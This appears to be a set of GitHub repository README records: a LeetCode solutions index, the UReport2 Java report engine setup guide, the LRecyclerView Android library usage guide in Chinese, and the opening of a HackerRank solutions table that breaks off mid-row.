Linked List](src/main/java/tree/FlattenBinaryTree.java) (Medium) - [Populating Next Right Pointers in Each Node](src/main/java/tree/NextRightPointer.java) (Medium) - [Populating Next Right Pointers in Each Node II](src/main/java/tree/NextRightPointerII.java) (Medium) - [Subtree of Another Tree](src/main/java/tree/SubtreeOfAnotherTree.java) (Easy) - [Binary Tree Zigzag Level Order Traversal](src/main/java/tree/ZigZagTraversal.java) (Medium) - [Binary Tree Inorder Traversal](src/main/java/tree/BinaryTreeInorderTraversal.java) (Medium) - [Symmetric Tree](src/main/java/tree/SymmetricTree.java) (Easy) - [Maximum Binary Tree](src/main/java/tree/MaximumBinaryTree.java) (Medium) - [Find Bottom Left Tree Value](src/main/java/tree/FindBottomLeftTreeValue.java) (Medium) - [Diameter of Binary Tree](src/main/java/tree/DiameterOfBinaryTree.java) (Easy) - [Binary Tree Paths](src/main/java/tree/BinaryTreePaths.java) (Easy) - [Sum of Left Leaves](src/main/java/tree/SumofLeftLeaves.java) (Easy) - [Two Sum IV - Input is a BST](src/main/java/tree/TwoSumIV.java) (Easy) - [Average of Levels in Binary Tree](src/main/java/tree/AverageOfLevelsInBinaryTree.java) (Easy) - [Convert Binary Search Tree to Sorted Doubly Linked List](src/main/java/tree/BSTtoDoublyLinkedList.java) (Easy) - [Same Tree](src/main/java/tree/SameTree.java) (Easy) - [Binary Tree Longest Consecutive SequencefindMinDifference II](src/main/java/tree/BinaryTreeLongestConsecutiveSequenceII.java) (Medium) - [Minimum Absolute Difference in BST](src/main/java/tree/MinimumAbsoluteDifferenceInBST.java) (Medium) - [Equal Tree Partition](src/main/java/tree/EqualTreePartition.java) (Medium) - [Split BST](src/main/java/tree/SplitBST.java) (Medium) - [Closest Leaf in a Binary Tree](src/main/java/tree/ClosestLeafInABinaryTree.java) (Medium) - [Maximum Width of Binary Tree](src/main/java/tree/MaximumWidthOfBinaryTree.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Recover Binary Search Tree](src/main/java/tree/RecoverBinarySearchTree.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Binary Tree Postorder Traversal](src/main/java/tree/BinaryTreePostorderTraversal.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Serialize and Deserialize N-ary Tree](src/main/java/tree/SerializeAndDeserializeNAryTree.java) (Hard) - [Convert BST to Greater Tree](src/main/java/tree/ConvertBSTToGreaterTree.java) (Easy) - [All Nodes Distance K in Binary Tree](src/main/java/tree/AllNodesDistanceKInBinaryTree.java) (Medium) - [All Possible Full Binary Trees](src/main/java/tree/AllPossibleFullBinaryTrees.java) (Medium) - [Flip Equivalent Binary Trees](src/main/java/tree/FlipEquivalentBinaryTrees.java) (Medium) - [Construct Binary Tree from String](src/main/java/tree/ConstructBinaryTreefromString.java) (Medium) - [Find Largest Value in Each Tree Row](src/main/java/tree/FindLargestValueInEachTreeRow.java) (Medium) - [Find Bottom Left Tree Value](src/main/java/tree/FindBottomLeftTreeValue.java) (Medium) - [Maximum Level Sum of a Binary Tree](src/main/java/tree/MaximumLevelSumofABinaryTree.java) (Medium) - [Leaf-Similar Trees](src/main/java/tree/LeafSimilarTrees.java) (Easy) - [Binary Tree Tilt](src/main/java/tree/BinaryTreeTilt.java) (Easy) #### [Two Pointers](src/main/java/two_pointers) - [Four Sum](src/main/java/two_pointers/FourSum.java) (Medium) - [Longest Substring Witout Repeats](src/main/java/two_pointers/LongestSubstringWitoutRepeats.java) (Medium) - [Three Sum](src/main/java/two_pointers/ThreeSum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Trapping Rain Water](src/main/java/two_pointers/TrappingRainWater.java) (Hard) - [3Sum Closest](src/main/java/two_pointers/ThreeSumClosest.java) (Medium) - [Move Zeroes](src/main/java/two_pointers/MoveZeroes.java) (Easy) - [Remove Duplicates](src/main/java/two_pointers/RemoveDuplicates.java) (Easy) - [Remove Duplicates II](src/main/java/two_pointers/RemoveDuplicatesII.java) (Medium) - [Minimum Size Subarray Sum](src/main/java/two_pointers/MinimumSizeSubarraySum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Window Substring](src/main/java/two_pointers/MinimumWindowSubstring.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Range](src/main/java/two_pointers/SmallestRange.java) (Hard) - [Subarray Product Less Than K](src/main/java/two_pointers/SubarrayProductLessThanK.java) (Medium) - [Number of Matching Subsequences](src/main/java/two_pointers/NumberOfMatchingSubsequences.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Subarrays with K Different Integers](src/main/java/two_pointers/SubarraysWithKDifferentIntegers.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Last Substring in Lexicographical Order](src/main/java/two_pointers/LastSubstringInLexicographicalOrder.java) (Hard)
0
youseries/ureport
UReport2 is a high-performance pure Java report engine based on Spring architecture, where complex Chinese-style statements and reports can be prepared by iterating over cells.
chinese-report java-report java-report-engine report spring springboot
# Overview UReport2 is a high-performance pure Java report engine based on Spring architecture, where complex Chinese-style statements and reports can be prepared by iteraing over cells. UReport2 provides the brand new web-based report designer that runs in mainstream browsers including Chrome, Firefox and Edge etc. \(other than IE\). You can complete the design and preparation of complex statements and reports with UReport2 by simply opening the browser. UReport2 is the first Chinese-style report engine based on Apache-2.0 License. [中文 README](README-zh_CN.md) # Teaching video [http://pan.baidu.com/s/1boWTxF5](http://pan.baidu.com/s/1boWTxF5),password:98hj # Installation and Configuration UReport2 is a pure Java report engine, so it supports all current popular types of J2EE projects. Here we will mainly introduce how Maven-based J2EE projects incorporate UReport2. ### Maven-based UReport2 project Firstly, we need to create a standard Maven project \(create a project with Eclipse or other tools, while no more details are introduced here\), then open the file pom.xml of Maven, and add the dependence information of UReport2, as shown below: ``` <dependency> <groupId>com.bstek.ureport</groupId> <artifactId>ureport2-console</artifactId> <version>[version]</version> </dependency> ``` Within the above dependence information, \[version\] indicates the specific version No. of the ureport2-console package. We can search the keyword “ureport2-c onsole” at [http://search.maven.org/](http://search.maven.org/) to check the specific version No. of the package. The latest source code can be downloaded from [https://github.com/youseries/ureport](https://github.com/youseries/ureport). It shall be noted that only the latest release version can be found at [http://search.maven.org/](http://search.maven.org/). If you need the latest snapshot, you can search at [https://oss.so](https://oss.so) natype.org/. Pursuant to regulations on sonatype, only the official version can be published on [http://search.maven.org/](http://search.maven.org/), i.e. the central repository of mave, and the snapshot version only exists in [https://oss.sonatype.org/](https://oss.sonatype.org/). If we want to apply the latest snapshot at [https://oss.sonatype.org/](https://oss.sonatype.org/), we need to add repository information in pom.xml, to tell Maven to download the package of snapshot version there. The repository information is listed below: ``` <repository> <id>sonatype</id> <url>https://oss.sonatype.org/content/groups/public/</url> </repository> ``` Then, we need to configure the servlet that will be used by UReport2. Open the web.xml file in the project and add the following servlet configuration: ``` <servlet> <servlet-name>ureportServlet</servlet-name> <servlet-class>com.bstek.ureport.console.UReportServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ureportServlet</servlet-name> <url-pattern>/ureport/*</url-pattern> </servlet-mapping> ``` In the servlet configuratin, the url-pattern shall keep the fixed value of “/ureport/\*” from any change, otherwise the system will fail. As UReport2 is built based on the framework of spring, the last step of configuration shall be loading the spring configuration file of UReport2 in the project. Several ways are available to load the file, including opening web.xml, adding the listener provided by spring and directly loading the spring configuration file provided by UReport2, as shown below: ``` <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <context-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:ureport-console-context.xml</param-value> </context-param> ``` If spring is not used in your project, you can apply the above configuration and directly load the spring configuration file provided by UReport2. If spring is used in your project or in other modules of the project, you can import the spring configuration file provided by UReport2 to the existing spring configuration file. The configuration is shown below: ``` <import resource="classpath:ureport-console-context.xml" /> ``` By now, we have added UReport2 in a standard Maven project. Run the project, and you can see the interface of UReport2 report designer by visiting URL:[http://localhost:8080/\[contextPath\]/ureport/designer](http://localhost:8080/[contextPath]/ureport/designer) in a browser.![](docs/images/dd.png)![](docs/images/designer.png)Links: * [Reports Storage and Configuration of the Data Source](docs/STORAGE-DATASOURCE.md) * [The introduction of the report calculation model](docs/REPORT-MODEL.md) * [Expression](docs/EXPRESSION.md) * Function * Condition attribute * Parameter * Combinnation with business * Row type * Adding blank line and paging * Load Pictures * Chromatography printing
0
jdsjlzx/LRecyclerView
RecyclerView下拉刷新,自动加载更多;仿IOS侧滑Item删除菜单(盼望大家扩展更多功能)
footerview headerview headerview-footerview recyclerview
# LRecyclerView LRecyclerView是支持addHeaderView、 addFooterView、下拉刷新、分页加载数据的RecyclerView。 **它对 RecyclerView 控件进行了拓展,给RecyclerView增加HeaderView、FooterView,并且不需要对你的Adapter做任何修改。** 推荐 ---------- [RxJava经典视频教程已经上线,戳我就可以看啦......](http://www.stay4it.com/course/27) ## 效果图 <div align="center"> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art1.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art2.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art3.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art4.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art5.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art7.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art8.png" width=268 height=457 /> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/art9.png" width=268 height=457 /> </div> ## 实战项目 为了方便大家更好的在项目中使用LRecyclerView,这里提供一个项目demo,有需要可以参考下! github地址: https://github.com/jdsjlzx/Community <img src="https://github.com/jdsjlzx/Community/blob/master/pic/home.png" width=268 height=457 /> ## Gradle Step 1. 在你的根build.gradle文件中增加JitPack仓库依赖。 ```groovy allprojects { repositories { jcenter() maven { url "https://jitpack.io" } } } ``` Step 2. 在你的module的build.gradle文件中增加LRecyclerView依赖。 ```groovy implementation 'com.github.jdsjlzx:LRecyclerView:1.5.4.3' ``` LRecyclerView requires at minimum Java 7 or Android 4.0. ## JavaDoc https://jitpack.io/com/github/jdsjlzx/LRecyclerView/1.5.4.3/javadoc/ ##项目简述 1. 下拉刷新、滑动到底部自动加载下页数据; 2. 可以方便添加Header和Footer; 3. 头部下拉样式可以自定义; 4. 具备item点击和长按事件; 5. 网络错误加载失败点击Footer重新请求数据; 6. 可以动态为FooterView赋予不同状态(加载中、加载失败、滑到最底等); 7. 可以根据不同的viewtype自定义item视图; 8. 具备类似IOS侧滑删除菜单功能; 9. 完善的局部刷新效果; ### 注意: 1. EndlessLinearLayoutActivity.java类里面有标准完整的使用方法,请尽量在这个界面看效果; 2. 本着解耦的原则,能在demo中实现的就尽量不在libray中实现。 3. libray中的sdk版本都是最新版本,如果你不想处理申请权限的问题,可以在你本地的app的build.gradle中如下设置: ```groovy compileSdkVersion 25 buildToolsVersion '25.0.2' defaultConfig {        applicationId "com.github.jdsjlzx" minSdkVersion 14 targetSdkVersion 22 versionCode 4 versionName "0.5.3" } ``` targetSdkVersion设置为22即可。 ## Demo下载 [点我下载](https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/app/app-release.apk) ## 功能介绍 ### 填充数据 ```java mDataAdapter = new DataAdapter(this); mDataAdapter.setData(dataList); mLRecyclerViewAdapter = new LRecyclerViewAdapter(mDataAdapter); mRecyclerView.setAdapter(mLRecyclerViewAdapter); ``` > 1. DataAdapter是用户自己真正的adapter,用户自己定义; 2. LRecyclerViewAdapter提供了一些实用的功能,使用者不用关心它的实现,只需构造的时候把自己的mDataAdapter以参数形式传进去即可。 ### 添加HeaderView、FooterView ```java //add a HeaderView mLRecyclerViewAdapter.addHeaderView(new SampleHeader(this)); //add a FooterView mLRecyclerViewAdapter.addFooterView(new SampleFooter(this)); ``` 添加HeaderView还可以使用下面两种方式: ```java View header = LayoutInflater.from(this).inflate(R.layout.sample_header,(ViewGroup)findViewById(android.R.id.content), false); mLRecyclerViewAdapter.addHeaderView(header); CommonHeader headerView = new CommonHeader(getActivity(), R.layout.layout_home_header); mLRecyclerViewAdapter.addHeaderView(headerView); ``` 上面的方式同样适用于FooterView。 ### 移除HeaderView、FooterView ```java //remove a HeaderView mLRecyclerViewAdapter.removeHeaderView(); //remove a FooterView mLRecyclerViewAdapter.removeFooterView(); ``` 注意: > 1.如果有两个以上的HeaderView,连续调用mLRecyclerViewAdapter.removeHeaderView()即可。 ### LScrollListener-滑动监听事件接口 LScrollListener实现了onScrollUp()、onScrollDown()、onScrolled、onScrollStateChanged四个事件,如下所示: ```java void onScrollUp();//scroll down to up void onScrollDown();//scroll from up to down void onScrolled(int distanceX, int distanceY);// moving state,you can get the move distance void onScrollStateChanged(int state); ``` - onScrollUp()——RecyclerView向上滑动的监听事件; - onScrollDown()——RecyclerView向下滑动的监听事件; - onScrolled()——RecyclerView正在滚动的监听事件; - onScrollStateChanged(int state)——RecyclerView正在滚动的监听事件; 使用: ```java mRecyclerView.setLScrollListener(new LRecyclerView.LScrollListener() { @Override public void onScrollUp() { } @Override public void onScrollDown() { } @Override public void onScrolled(int distanceX, int distanceY) { } @Override public void onScrollStateChanged(int state) { } }); ``` ### 下拉刷新 ```java mRecyclerView.setOnRefreshListener(new OnRefreshListener() { @Override public void onRefresh() { } }); ``` ### 加载更多 ```java mRecyclerView.setOnLoadMoreListener(new OnLoadMoreListener() { @Override public void onLoadMore() { } }); ``` ### 设置下拉刷新样式 ```java mRecyclerView.setRefreshProgressStyle(ProgressStyle.BallSpinFadeLoader); //设置下拉刷新Progress的样式 mRecyclerView.setArrowImageView(R.drawable.iconfont_downgrey); //设置下拉刷新箭头 ``` AVLoadingIndicatorView库有多少效果,LRecyclerView就支持多少下拉刷新效果,当然你也可以自定义下拉刷新效果。 效果图: ![这里写图片描述](http://img.blog.csdn.net/20160701173404897) ### 自定义下拉刷新View 1. 自定义view实现IRefreshHeader接口; 2. 调用LRecyclerView提供的setRefreshHeader(IRefreshHeader refreshHeader)即可。 ```java /** * 设置自定义的RefreshHeader */ public void setRefreshHeader(IRefreshHeader refreshHeader) { this.mRefreshHeader = refreshHeader; } ``` ### 设置下拉刷新Header和Footer文字内容和颜色 ```java //设置头部加载颜色 mRecyclerView.setHeaderViewColor(R.color.colorAccent, R.color.dark ,android.R.color.white); //设置底部加载颜色 mRecyclerView.setFooterViewColor(R.color.colorAccent, R.color.dark ,android.R.color.white); //设置底部加载文字提示 mRecyclerView.setFooterViewHint("拼命加载中","已经全部为你呈现了","网络不给力啊,点击再试一次吧"); ``` 记得设置ProgressStyle: ```java mRecyclerView.setRefreshProgressStyle(ProgressStyle.LineSpinFadeLoader); mRecyclerView.setLoadingMoreProgressStyle(ProgressStyle.BallSpinFadeLoader); ``` ### 开启和禁止下拉刷新功能 ```java mRecyclerView.setPullRefreshEnabled(true); ``` or ```java mRecyclerView.setPullRefreshEnabled(false); ``` 默认是开启。 ### 强制刷新 根据大家的反馈,增加了一个强制刷新的方法,使用如下: ```java mRecyclerView.forceToRefresh(); ``` **无论是下拉刷新还是强制刷新,刷新完成后调用下面代码:** ```java mRecyclerView.refreshComplete(pageSize); mLRecyclerViewAdapter.notifyDataSetChanged(); ``` ### 下拉刷新清空数据 有的时候,需要下拉的时候清空数据并更新UI,可以这么做: ```java @Override public void onRefresh() { mDataAdapter.clear();    mLRecyclerViewAdapter.notifyDataSetChanged();//必须调用此方法    mCurrentCounter = 0; requestData(); } ``` 如果不需要下拉的时候清空数据并更新UI,如下即可: ```java @Override public void onRefresh() { requestData(); } ``` ### 开启和禁止自动加载更多功能 ```java mRecyclerView.setLoadMoreEnabled(true); ``` or ```java mRecyclerView.setLoadMoreEnabled(false);; ``` 默认是开启。如果不需要自动加载更多功能(也就是不需要分页)手动设置为false即可。 ### 加载数据完成处理 ```java mDataAdapter.addAll(list); mRecyclerView.refreshComplete(REQUEST_COUNT);// REQUEST_COUNT为每页加载数量 ``` 如果没有更多数据(也就是全部加载完成),判断逻辑如下: ```java mRecyclerView.setOnLoadMoreListener(new OnLoadMoreListener() { @Override public void onLoadMore() {                if (mCurrentPage < totalPage) {                    // loading data                    requestData(); } else { mRecyclerView.setNoMore(true); } } }); ``` ### 去除底部的加载更多的view 如果你的逻辑是一次性加载所有的数据,那么可以如下设置: ```java mRecyclerView.setLoadMoreEnabled(false);; ``` mRecyclerView.setOnLoadMoreListener就不需要设置了. ### 加载数据网络异常处理 加载数据时如果网络异常或者断网,LRecyclerView为你提供了重新加载的机制。 效果图: ![这里写图片描述](https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art5.png) 网络异常出错代码处理如下: ``` mRecyclerView.setOnNetWorkErrorListener(new OnNetWorkErrorListener() { @Override public void reload() { requestData(); } }); ``` 上面的mFooterClick就是我们点击底部的Footer时的逻辑处理事件,很显然我们还是在这里做重新请求数据操作。 ### 点击事件和长按事件处理 先看下怎么使用: ```java mLRecyclerViewAdapter.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(View view, int position) { } }); mLRecyclerViewAdapter.setOnItemLongClickListener(new OnItemLongClickListener() { @Override public void onItemLongClick(View view, int position) { } }); ``` 原理就是实现viewHolder.itemView的点击和长按事件。由于代码过多就不贴出来了。 viewHolder源码如下: ```java public static abstract class ViewHolder { public final View itemView; int mPosition = NO_POSITION; int mOldPosition = NO_POSITION; long mItemId = NO_ID; int mItemViewType = INVALID_TYPE; int mPreLayoutPosition = NO_POSITION; ``` ### 设置空白View(setEmptyView) ```java mRecyclerView.setEmptyView(view); ``` 需要注意的是布局文件,如下所示: ```groovy <android.support.design.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:fitsSystemWindows="true" tools:context=".MainActivity"> <android.support.design.widget.AppBarLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:theme="@style/AppTheme.AppBarOverlay"> <android.support.v7.widget.Toolbar android:id="@+id/toolbar" android:layout_width="match_parent" android:layout_height="?attr/actionBarSize" android:background="?attr/colorPrimary" app:popupTheme="@style/AppTheme.PopupOverlay"/> </android.support.design.widget.AppBarLayout> <com.github.jdsjlzx.recyclerview.LRecyclerView android:id="@+id/list" android:layout_width="fill_parent" android:layout_height="fill_parent" app:layout_behavior="@string/appbar_scrolling_view_behavior"/> <include android:id="@+id/empty_view" layout="@layout/layout_empty" android:visibility="gone"/> </android.support.design.widget.CoordinatorLayout> ``` ## 关于添加分割线 经过不断优化,LRecyclerView支持了ItemDecoration,使用如下所示: LinearLayoutManager布局设置如下: ```java DividerDecoration divider = new DividerDecoration.Builder(this,mLRecyclerViewAdapter) .setHeight(R.dimen.default_divider_height) .setPadding(R.dimen.default_divider_padding) .setColorResource(R.color.split) .build(); mRecyclerView.addItemDecoration(divider); ``` GridLayoutManager布局设置如下: ```java int spacing = getResources().getDimensionPixelSize(R.dimen.dp_4); mRecyclerView.addItemDecoration(SpacesItemDecoration.newInstance(spacing, spacing, manager.getSpanCount(), Color.GRAY)); //根据需要选择使用GridItemDecoration还是SpacesItemDecoration GridItemDecoration divider = new GridItemDecoration.Builder(this) .setHorizontal(R.dimen.default_divider_padding) .setVertical(R.dimen.default_divider_padding) .setColorResource(R.color.split) .build(); //mRecyclerView.addItemDecoration(divider); ``` 根据需要选择使用GridItemDecoration还是SpacesItemDecoration,SpacesItemDecoration(支持多类型布局) 同样的,LuRecyclerView也支持了ItemDecoration,只是命名稍微不同(类名以Lu开头,如LuGridItemDecoration、LuSpacesItemDecoration) ## 滑动删除 效果图: <img src="https://camo.githubusercontent.com/d2257cad7e4b932cd57969e1ce65181b7b7b1f70/687474703a2f2f6e6f74652e796f7564616f2e636f6d2f7977732f7075626c69632f7265736f757263652f62626336396331653035356362333335643031633737326531646164623063312f786d6c6e6f74652f44463646324336353038433234364330393331383037464333313332353737452f3130323635" width=268 height=457 /> ## 分组 效果图: ![这里写图片描述](https://github.com/jdsjlzx/LRecyclerView/blob/master/art/art6.gif) 功能还在完善中.... ## PullScrollView、PullWebView也有实现,为了解耦,这两个类都放在了demo中,有需要的可以自己修改使用! ## 代码混淆 ```java #LRecyclerview -dontwarn com.github.jdsjlzx.** -keep class com.github.jdsjlzx.progressindicator.indicators.** { *; } ``` 如果你想了解更多混淆配置,参考:http://blog.csdn.net/jdsjlzx/article/details/51861460 ## 注意事项 1.如果添加了footerview,不要再使用setLScrollListener方法,如有需要,自定义实现即可。如下面代码不要同时使用: ```java mRecyclerView.setLScrollListener(LScrollListener); mLRecyclerViewAdapter.addFooterView(new SampleFooter(this)); ``` 2.不要SwipeRefreshLayout与LRecyclerView一起使用,会有冲突,为了更好的满足广大用户,新增了LuRecyclerView类,可以与SwipeRefreshLayout搭配使用,详细请参考SwipeRefreshLayoutActivity类的实现。 3.关于RecyclerView自动滑动的问题 这个自动滑动归根结底是焦点问题,子item有焦点,导致RecyclerView自动滑动到了子item,在根布局上加了android:descendantFocusability="blocksDescendants",根view来处理焦点,不传给子view就能解决问题。 4.关于LRecyclerView嵌套RecyclerView滑动卡顿的问题 可以参考:https://github.com/jdsjlzx/LRecyclerView/issues/165 ## LRecyclerView的应用 效果图: <img src="https://github.com/jdsjlzx/Community/blob/master/pic/home.png" width=268 height=457 /> 代码详见:https://github.com/jdsjlzx/Community ## Thanks 1.[SwipeDelMenuViewGroup](https://github.com/mcxtzhang/SwipeDelMenuViewGroup) ## 问题反馈 QQ交流群1:183899857 QQ交流群2:250468947 ## 打赏 觉得本框架对你有帮助,不妨打赏赞助我一下,让我有动力走的更远。 <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/wechat.png" width=280 height=280 /> 支付宝<br><br> <img src="https://raw.githubusercontent.com/jdsjlzx/LRecyclerView/master/art/alipay.jpg" width=280 height=329 />
0
RyanFehr/HackerRank
HackerRank solutions in Java/JS/Python/C++/C#
algorithms cpp csharp data-structures hackerrank java java8 javascript python
[CopyrightLicense]:./license.md <p align="center"> <a href="https://www.hackerrank.com/ryanfehr18"><img src="https://cloud.githubusercontent.com/assets/19765741/25342064/d17a563c-28d8-11e7-83fc-763d4ab4820a.jpg" ></a> </p> <p align="center"> Solutions to problems on HackerRank. </p> <p align="center"> Check out HackerRank's new format <a href="./README_V2.md">here</a> </p> <p align="center"> If you are interested in helping or have a solution in a different language feel free to make a pull request. </p> <p align="center"> <img src="https://img.shields.io/badge/Problems%20Solved-153-brightgreen.svg"> <img src="https://img.shields.io/badge/Language-Java/JS/Python/C++/CSharp-orange.svg"> <img src="https://img.shields.io/badge/Latest%20Update-06/21/2018-brightgreen.svg"> </p> ## Algorithms ![AlgorithmsPoints] - [Warmup](https://github.com/RyanFehr/HackerRank#warmup) - [Implementation](https://github.com/RyanFehr/HackerRank#implementation) - [Strings](https://github.com/RyanFehr/HackerRank#strings) - [Sorting](https://github.com/RyanFehr/HackerRank#sorting) - [Search](https://github.com/RyanFehr/HackerRank#search) - [Graph Theory](https://github.com/RyanFehr/HackerRank#graph-theory) - [Greedy](https://github.com/RyanFehr/HackerRank#greedy) - [Dynamic Programming](https://github.com/RyanFehr/HackerRank#dynamic-programming) - [Constructive Algorithms](https://github.com/RyanFehr/HackerRank#constructive-algorithms) - [Bit Manipulation](https://github.com/RyanFehr/HackerRank#bit-manipulation) - [Recursion](https://github.com/RyanFehr/HackerRank#recursion) - [Game Theory](https://github.com/RyanFehr/HackerRank#game-theory) - [NP Complete](https://github.com/RyanFehr/HackerRank#np-complete) ## DataStructures ![DataStructuresPoints] - [Arrays](https://github.com/RyanFehr/HackerRank#arrays) - [Linked Lists](https://github.com/RyanFehr/HackerRank#linked-lists) - [Trees](https://github.com/RyanFehr/HackerRank#trees) - [Balanced Trees](https://github.com/RyanFehr/HackerRank#balanced-trees) - [Stacks](https://github.com/RyanFehr/HackerRank#stacks) - [Queues](https://github.com/RyanFehr/HackerRank#queues) - [Heap](https://github.com/RyanFehr/HackerRank#heap) - [Disjoint Set](https://github.com/RyanFehr/HackerRank#disjoint-set) - [Multiple Choice](https://github.com/RyanFehr/HackerRank#multiple-choice) - [Trie](https://github.com/RyanFehr/HackerRank#trie) - [Advanced](https://github.com/RyanFehr/HackerRank#advanced) ## Mathematics ![MathematicsPoints] - [Fundamentals](https://github.com/RyanFehr/HackerRank#fundamentals) - Number Theory - Combinatorics - Algebra - Geometry - Probability - Linear Algebra Foundations ## Java ![JavaPoints] - Introduction - Strings - BigNumber - Data Structures - [Object Oriented Programming](https://github.com/RyanFehr/HackerRank#object-oriented-programming) - Exception Handling - Advanced ### Warmup | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Solve Me First](https://www.hackerrank.com/challenges/solve-me-first)| <ul><li>[Java](./Algorithms/Warmup/Solve%20Me%20First/Solution.java)</li> <li>[C#](./Algorithms/Warmup/Solve%20Me%20First/Solution.cs)</li><ul> | _O(1)_ | _O(1)_| Easy | 1 | || | |[Simple Array Sum](https://www.hackerrank.com/challenges/simple-array-sum)| <ul><li>[Java](./Algorithms/Warmup/Simple%20Array%20Sum/Solution.java)</li> <li>[C#](./Algorithms/Warmup/Simple%20Array%20Sum/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Compare the Triplets](https://www.hackerrank.com/challenges/compare-the-triplets)| <ul><li>[Java](./Algorithms/Warmup/Compare%20the%20Triplets/Solution.java)</li> <li>[C#](./Algorithms/Warmup/Compare%20the%20Triplets/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 10 | || | |[A Very Big Sum](https://www.hackerrank.com/challenges/a-very-big-sum)| <ul><li>[Java](./Algorithms/Warmup/A%20Very%20Big%20Sum/Solution.java)</li> <li>[C#](./Algorithms/Warmup/A%20Very%20Big%20Sum/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Diagonal Difference](https://www.hackerrank.com/challenges/diagonal-difference)| <ul><li>[Java](./Algorithms/Warmup/Diagonal%20Difference/Solution.java)</li><li>[C#](./Algorithms/Warmup/Diagonal%20Difference/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Plus Minus](https://www.hackerrank.com/challenges/plus-minus)| <ul><li>[Java](./Algorithms/Warmup/Plus%20Minus/Solution.java)</li><li>[C#](./Algorithms/Warmup/Plus%20Minus/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Staircase](https://www.hackerrank.com/challenges/staircase)| <ul><li>[Java](./Algorithms/Warmup/Staircase/Solution.java)</li><li>[C#](./Algorithms/Warmup/Staircase/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 10 | || | |[Mini-Max Sum](https://www.hackerrank.com/challenges/mini-max-sum)| <ul><li>[Java](./Algorithms/Warmup/Mini-Max%20Sum/Solution.java)</li><li>[C#](./Algorithms/Warmup/Mini-Max%20Sum/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 10 | || | |[Time Conversion](https://www.hackerrank.com/challenges/time-conversion)| <ul><li>[Java](./Algorithms/Warmup/Time%20Conversion/Solution.java)</li><li>[C#](./Algorithms/Warmup/Time%20Conversion/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 15 | || | |[Birthday Cake Candles](https://www.hackerrank.com/challenges/birthday-cake-candles)| <ul><li>[Java](./Algorithms/Warmup/Birthday%20Cake%20Candles/Solution.java)</li><li>[C#](./Algorithms/Warmup/Birthday%20Cake%20Candles/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || ### Implementation | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Grading Students](https://www.hackerrank.com/challenges/grading)| <ul><li>[Java](./Algorithms/Implementation/Grading%20Students/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Grading%20Students/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Grading%20Students/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Apple and Orange](https://www.hackerrank.com/challenges/apple-and-orange)| <ul><li>[Java](./Algorithms/Implementation/Apple%20and%20Orange/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Apple%20and%20Orange/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Apple%20and%20Orange/Solution.cs)</li><ul> | _O(n+m)_ | _O(1)_ | Easy| 10| || | | [Kangaroo](https://www.hackerrank.com/challenges/kangaroo)| <ul><li>[Java](./Algorithms/Implementation/Kangaroo/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Kangaroo/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 10| || | | [Between Two Sets](https://www.hackerrank.com/challenges/between-two-sets)| <ul><li>[Java](./Algorithms/Implementation/Between%20Two%20Sets/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Between%20Two%20Sets/Solution.cs)</li><ul> | _O(x(n+m))_ | _O(1)_ | Easy| 10| _x=(max(m) - min(n))/min(n)_ || | | [Divisible Sum Pairs](https://www.hackerrank.com/challenges/divisible-sum-pairs)| 